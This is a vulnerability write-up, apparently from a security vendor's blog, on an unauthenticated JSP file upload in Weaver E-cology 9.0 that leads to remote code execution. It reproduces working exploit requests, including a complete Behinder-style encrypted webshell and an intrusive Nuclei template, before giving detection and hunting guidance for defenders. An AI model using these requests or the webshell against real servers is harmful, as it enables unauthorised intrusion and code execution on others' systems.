Automated Threat Modeling

Weaver E-cology 9.0 CVE-2021-48023: Unauthenticated JSP File Upload to RCE

A summary of CVE-2021-48023, an unauthenticated file upload in Weaver E-cology 9.0 that leads to remote code execution, with public PoC details and detection guidance.

CVE Analysis

7 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-18

Weaver E-cology 9.0 CVE-2021-48023: Unauthenticated JSP File Upload to RCE

Introduction

An unauthenticated file upload in Weaver E-cology 9.0 lets a remote attacker drop a JSP webshell into a web-accessible directory and run code on the application server with no credentials. For organizations running E-cology as a collaboration and workflow platform, this turns a single exposed JSP endpoint into a direct path to remote code execution. Shadowserver observed it being exploited in the wild as early as October 2023.

Weaver (泛微) is a Shanghai-founded, publicly listed vendor in the office automation space. By its own account, it has served more than 80,000 clients since 2001 and positions itself as one of China's leaders in digital collaboration and workflow digitalization. E-cology is its collaborative office automation (OA) platform, which makes internet-exposed deployments an attractive target for attackers seeking footholds in enterprise environments.

Technical Information

The root cause is an unrestricted dangerous file upload, categorized as CWE-434. The vulnerable handler lives at /page/exportImport/uploadOperation.jsp in Weaver E-cology 9.0. It accepts a multipart/form-data POST request and writes the uploaded file into /page/exportImport/fileTransfer/ without authenticating the caller and without validating the file's extension or content type.

Because the destination directory sits under the web root and is served by the application server, a file written there with a .jsp extension is treated as an executable server page. Nothing gates "file saved" from "file executed": an attacker uploads a JSP and then requests it. The CVE record assesses high impact to confidentiality, integrity, and availability, consistent with the CVSS 3.1 score of 9.8 (network access, low attack complexity, no privileges, no user interaction).

Attack flow

The exploitation sequence is only two steps:

  1. The attacker sends an unauthenticated multipart POST to /page/exportImport/uploadOperation.jsp with a form field named file whose filename ends in .jsp and whose body contains JSP code.
  2. The server stores the file at /page/exportImport/fileTransfer/<filename>.jsp. The attacker then requests that path directly, and the JSP executes on the server.

From there, a webshell payload gives interactive command execution on the host.

Proof of Concept

Public proof-of-concept material is available and verified across multiple independent sources: the Ershu1 researcher write-up, the PeiQi WIKI, and a ProjectDiscovery Nuclei template. All three target the identical endpoint and write path described in the NVD and VulnCheck records.

Minimal confirmation (Ershu1 write-up)

This benign marker request confirms execution without deploying a shell:

POST /page/exportImport/uploadOperation.jsp HTTP/1.1 Host: x.x.x.x Origin: http://x.x.x.x/ Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo Connection: close ------WebKitFormBoundaryFy3iNVBftjP6IOwo Content-Disposition: form-data; name="file"; filename="12.jsp" Content-Type: application/octet-stream <%out.print(1111);%> ------WebKitFormBoundaryFy3iNVBftjP6IOwo--

Requesting page/exportImport/fileTransfer/12.jsp afterward and seeing 1111 rendered confirms the JSP executed and the host is vulnerable.

Webshell payload (PeiQi WIKI)

The PeiQi write-up uses the same endpoint but drops a test.jsp containing a Behinder/冰蝎 style AES class-loader webshell (default connection password rebeyond), accessible afterward at /page/exportImport/fileTransfer/test.jsp for full interactive command execution:

------WebKitFormBoundary6XgyjB6SeCArD3Hc Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: application/octet-stream <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ------WebKitFormBoundary6XgyjB6SeCArD3Hc--

Automated detection (Nuclei)

The ProjectDiscovery template oa-v9-uploads-file automates the same two-step logic: it uploads poc.jsp containing <%out.print(<random>);%>, then issues GET /page/exportImport/fileTransfer/poc.jsp and matches on the random marker string with status_code == 200. This confirms code execution rather than mere file presence.

These are functional, unauthenticated RCE PoCs and should be treated as high-risk. Only run them with authorization.

Detection Methods

Defenders have two published detection artifacts, plus a simple, predictable request pattern that can be hunted in logs and on disk.

Active check: Nuclei template oa-v9-uploads-file

Both the NVD entry and the VulnCheck advisory link to ProjectDiscovery's template http/vulnerabilities/weaver/oa-v9-uploads-file.yaml. It runs the full attack in two steps and only flags a host as vulnerable if the second response returns HTTP 200 and contains the marker, proving the server saved and ran the uploaded JSP.

http: - raw: - | POST /page/exportImport/uploadOperation.jsp HTTP/1.1 Host: {{Hostname}} Origin: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo ------WebKitFormBoundaryFy3iNVBftjP6IOwo Content-Disposition: form-data; name="file"; filename="poc.jsp" Content-Type: application/octet-stream <%out.print(2be8e556fee1a876f10fa086979b8c7c);%> ------WebKitFormBoundaryFy3iNVBftjP6IOwo-- - | GET /page/exportImport/fileTransfer/poc.jsp HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body_2, "2be8e556fee1a876f10fa086979b8c7c")' - 'status_code_2 == 200' condition: and

Three caveats when running it:

  • The template is tagged intrusive. It writes a real poc.jsp into the web-accessible fileTransfer directory, so run it only with authorization and delete the file afterward.
  • Because it checks that code actually runs, a positive result means the host is truly exploitable, not just running a matching version.
  • The template metadata rates the issue lower (high, CVSS 3.1 8.8, PR:L) than the CNA (CVSS 4.0 9.3, unauthenticated). Re-score findings on import.

Network IDS/IPS: NSFOCUS signature threat[25233]

NSFOCUS's NIDS/NIPS rule feed includes a signature named "Weaver OA uploadOperation.jsp Arbitrary File Upload" (threat[25233]), refreshed in package 5.6.11.44508 released 2026-04-17. The rule body is not public, so the only known detail is that it targets this endpoint. If you run NSFOCUS sensors, confirm 25233 is present and set to alert or block on E-cology segments.

The same feed carries generic rules for the follow-on activity, since exploitation drops a JSP webshell:

  • threat[41544] Trojan/Backdoor General JSP trojan Files Upload
  • threat[42234] Suspicious Webshell Script File Upload Behavior _2
  • Webshell-traffic signatures for tools such as Behinder and Godzilla

Log and traffic hunting (vendor-neutral)

The exploit mechanics give clear behaviors to hunt for in web server, reverse proxy, WAF, or NDR logs:

  • Upload stage: an HTTP POST to /page/exportImport/uploadOperation.jsp with Content-Type: multipart/form-data where the Content-Disposition filename ends in .jsp or another server-executable extension. No authentication is required, so a request with no valid E-cology session is especially suspicious, particularly from internet-facing sources.
  • Execution stage: any request for a .jsp resource under /page/exportImport/fileTransfer/. Normal export/import use should not involve requesting executable scripts from that directory. Treat this as high-fidelity.
  • Correlation: the strongest signal is the same client IP making the upload POST and then requesting a fileTransfer/*.jsp path shortly after. Scanners using the Nuclei template appear with the literal filename poc.jsp; real attackers pick random names.
  • Post-exploitation: a hit on a fileTransfer/*.jsp path followed by repeated POSTs to that same file with opaque or encrypted bodies is consistent with webshell command-and-control.

No published Sigma, Snort, or Suricata rule exists for this CVE. Build these hunts in your SIEM or IDS from the URI and multipart patterns above.

Host-based checks and retro-hunting

Uploads land in page/exportImport/fileTransfer/ under the E-cology web root, so check the file system directly:

  • List and review any .jsp or other script files in that directory. Legitimate export/import files should not be executable server pages.
  • Put the directory under file-integrity monitoring so new script files raise an alert.
  • VulnCheck credits Shadowserver with first observing exploitation on 2023-10-20. When reviewing web logs and directory contents, look back at least to that date, not just to the CVE's 2026 publication.

No public YARA rules, Sigma rules, Snort/Suricata signatures, or attacker-specific indicators (IPs, domains, file hashes) were found for this CVE. Detection currently rests on the Nuclei check, the proprietary NSFOCUS signature, and the request-pattern and file-system hunts above.

Affected Systems and Versions

The affected product is Weaver Network Co., Ltd. E-cology, version 9.0. The CVE record does not identify a fixed version in the reviewed material, so a specific patched release cannot be confirmed here. A 2021-04-22 Weaver changelog entry for versions v6.45 and v10.38 mentions an arbitrary file upload fix, but it does not name CVE-2021-48023 or this endpoint and cannot be treated as confirmation of a fix for this issue.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization